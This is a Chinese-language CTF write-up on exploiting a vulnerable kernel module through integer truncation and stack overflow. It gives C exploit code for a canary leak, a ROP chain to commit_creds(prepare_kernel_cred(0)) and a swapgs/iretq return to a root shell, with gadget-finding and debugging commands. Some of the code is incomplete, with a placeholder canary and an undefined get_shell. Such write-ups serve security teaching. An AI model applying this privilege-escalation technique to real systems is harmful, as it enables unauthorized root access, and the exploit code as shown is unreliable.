基于栈溢出的内核ROP利用分析与实践
字数 1456 2025-12-16 12:33:05
基于栈溢出的内核ROP利用分析与实践
一、漏洞背景与题目分析
1.1 内核模块功能分析
题目是一个存在漏洞的内核模块,主要功能如下:
初始化函数:注册一个proc虚拟文件用于用户态与内核态交互
__int64 init_module() {
core_proc = proc_create("core", 438, 0, &core_fops);
printk(&unk_2DE, 438);
return 0;
}
write函数:从用户空间往内核空间的name全局变量写入数据(最大0x800字节)
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 n0x800) {
printk(&unk_215, a2);
if (n0x800 <= 0x800 && !copy_from_user(&name, a2, n0x800))
return (unsigned int)n0x800;
printk(&unk_230, a2);
return 4294967282LL;
}
read函数:从内核空间往用户空间读取数据
unsigned __int64 __fastcall core_read(__int64 off, __int64 a2) {
// ... 省略局部变量声明
v8 = __readgsqword(0x28u); // 读取canary值
strcpy(Welcome_to_the_QWB_CTF_challenge._n, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(off, &Welcome_to_the_QWB_CTF_challenge._n[::off], 64);
// ... 省略其他代码
}
ioctl函数:提供更完善的功能选择
__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 off) {
switch ((_DWORD)a2) {
case 0x6677889B:
core_read(off);
break;
case 0x6677889C:
printk(&unk_2CD, off);
::off = off; // 设置全局偏移量
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(off); // 关键漏洞函数
break;
}
return 0;
}
核心漏洞函数:存在整数溢出和栈溢出
__int64 __fastcall core_copy_func(__int64 off, __int64 a2) {
_QWORD dst_[10]; // 栈缓冲区,大小0x50字节
dst_[8] = __readgsqword(0x28u); // 栈保护canary
if (off > 63) {
printk(&unk_2A1, a2);
return 0xFFFFFFFFLL;
} else {
result = 0;
qmemcpy(dst_, &name, (unsigned __int16)off); // 类型转换漏洞
}
return result;
}
1.2 漏洞原理分析
-
整数溢出漏洞:
core_copy_func函数中,参数off被转换为unsigned __int16类型- 当传入
off值为0xffffffffffffffff时,转换为16位后变为0xffff(即65535) - 绕过
off > 63的检查,但实际拷贝长度为65535字节 - 导致栈缓冲区
dst_(仅80字节)被大量数据覆盖
- 当传入
-
栈溢出利用:通过精心构造的溢出数据,可以:
- 覆盖返回地址
- 绕过Stack Canary保护
- 实现内核权限提升
二、环境搭建与工具准备
2.1 文件结构
give_to_player/
├── core.ko # 漏洞内核模块
├── vmlinux # 带符号的内核镜像
├── start.sh # 启动脚本
├── init # 初始化脚本
└── exp.c # 利用代码
2.2 GDB调试脚本(gdb.sh)
#!/bin/sh
gdb -q \
-ex "file vmlinux" \
-ex "add-symbol-file core.ko 0xffffffffc0000000" \
-ex "target remote localhost:1234" \
-ex "b core_ioctl" \
-ex "b core_open" \
-ex "b core_release" \
-ex "b core_write" \
-ex "b core_read" \
-ex "info b"
2.3 文件系统打包脚本
#!/bin/sh
find . | cpio -o --format=newc > ../core.cpio
三、利用思路与技术要点
3.1 利用步骤
-
信息泄露:通过read函数泄露栈上的Canary值
- 设置合适的off值,读取栈上特定位置的数据
- 从返回数据中提取Canary值
-
ROP链构造:构建提升权限的ROP链
- 调用
prepare_kernel_cred(0)创建root凭证 - 调用
commit_creds()应用凭证 - 返回用户态执行shell
- 调用
-
栈溢出利用:通过漏洞函数执行ROP链
- 精心构造溢出数据,保持Canary值不变
- 覆盖返回地址为ROP链起始地址
3.2 关键防护绕过技术
- KASLR绕过:题目关闭KASLR,可直接使用固定地址
- SMEP/SMAP绕过:通过ROP技术在内核态执行代码
- KPTI绕过:使用正确的返回用户态技术
四、利用代码详细分析
4.1 基础模板框架
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
// 类型定义和工具宏
#define u64 unsigned long
#define KERNCALL __attribute__((regparm(3)))
// 内核函数指针
void *(*prepare_kernel_cred)(void*) KERNCALL;
void *(*commit_creds)(void*) KERNCALL;
// 用户态寄存器保存
size_t user_cs, user_ss, user_rflags, user_sp;
void save_state() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
4.2 功能函数封装
void core_read(int fd, char *buf) {
ioctl(fd, 0x6677889B, buf);
}
void set_offset(int fd, int off) {
ioctl(fd, 0x6677889C, off);
}
void trigger_copy(int fd, u64 len) {
ioctl(fd, 0x6677889A, len);
}
4.3 Canary泄露实现
void leak_canary(int fd) {
set_offset(fd, 0x40); // 设置读取偏移到Canary位置
u64 buf[0x100] = {0};
core_read(fd, (char*)buf);
u64 canary = buf[4]; // Canary在特定偏移位置
printf("[*] Leaked canary: 0x%lx\n", canary);
}
4.4 ROP链构造
void build_rop_chain(u64 *rop, u64 canary, u64 prepare_kernel_cred_addr,
u64 commit_creds_addr, u64 get_shell_addr) {
int i = 8;
// 栈布局构造
rop[i++] = canary; // 保持Canary不变
rop[i++] = 0; // 填充
// ROP链
rop[i++] = 0xffffffff81000b2f; // pop rdi; ret
rop[i++] = 0; // rdi = 0
rop[i++] = prepare_kernel_cred_addr; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49; // pop rdx; ret
rop[i++] = commit_creds_addr; // commit_creds地址
rop[i++] = 0xffffffff812d6c84; // mov rdi, rax; call rdx
// 返回用户态
rop[i++] = 0xffffffff81a012da; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2; // iretq; ret
// 用户态上下文
rop[i++] = (u64)get_shell; // 返回地址
rop[i++] = user_cs; // CS
rop[i++] = user_rflags; // RFLAGS
rop[i++] = user_sp; // RSP
rop[i++] = user_ss; // SS
}
4.5 完整利用流程
int main() {
save_state();
int fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
// 1. 泄露Canary
leak_canary(fd);
// 2. 准备ROP链
u64 rop[0x100] = {0};
u64 canary = ...; // 从泄露中获取
// 获取内核函数地址(题目中为固定偏移)
u64 prepare_addr = 0xffffffff81000000 + 0x9cce0;
u64 commit_addr = 0xffffffff81000000 + 0x9c8e0;
build_rop_chain(rop, canary, prepare_addr, commit_addr, (u64)get_shell);
// 3. 写入ROP数据到内核
write(fd, rop, sizeof(rop));
// 4. 触发漏洞(整数溢出)
trigger_copy(fd, 0xffffffffffffffff); // 触发类型转换溢出
// 5. 获取root shell
system("/bin/sh");
return 0;
}
五、Gadget查找技术
5.1 使用ropper查找
# 查找swapgs gadget
ropper --nocolor --file vmlinux --search "swapgs" > gadget.txt
# 查找iretq gadget
ropper --nocolor --file vmlinux --search "iretq" > gadget2.txt
# 查找pop rdi gadget
ropper --nocolor --file vmlinux --search "pop rdi" > gadget3.txt
5.2 使用ROPgadget查找
ROPgadget --binary vmlinux --only "iretq"
ROPgadget --binary vmlinux --only "pop rdi"
六、调试技巧与问题解决
6.1 常见问题及解决方案
-
Canary泄露不准确
- 问题:读取偏移设置错误
- 解决:通过调试确定Canary在栈中的确切位置
-
ROP链执行失败
- 问题:Gadget地址错误或上下文破坏
- 解决:检查Gadget可用性,确保栈布局正确
-
内核崩溃
- 问题:内存访问违规或栈破坏
- 解决:逐步调试,验证每个Gadget的执行
6.2 调试命令示例
# 检查栈布局
x/30gx $rsp
# 查看Canary值
x/gx $rsp+0x40
# 设置断点跟踪
b *0xffffffffc000011a # core_copy_func中的检查点
七、防护机制与对抗技术
7.1 现有防护机制
- Stack Canary:通过泄露和恢复来绕过
- KASLR:题目中已关闭,实际中需通过信息泄露绕过
- SMEP/SMAP:通过ROP技术在内核态执行代码绕过
- KPTI:使用正确的返回用户态序列
7.2 通用对抗技术
- 使用内核信息泄露获取基地址
- 构造可靠的ROP链
- 确保上下文切换的正确性
八、总结
本实践详细分析了基于栈溢出的内核ROP利用技术,重点包括:
- 漏洞分析:整数溢出导致的栈溢出漏洞
- 利用链构造:信息泄露 + ROP链执行
- 工具使用:GDB调试、Gadget查找等技术
- 防护绕过:多种内核防护机制的对抗方法
通过这个案例,可以深入理解内核漏洞利用的基本原理和技术要点,为更复杂的内核安全研究打下坚实基础。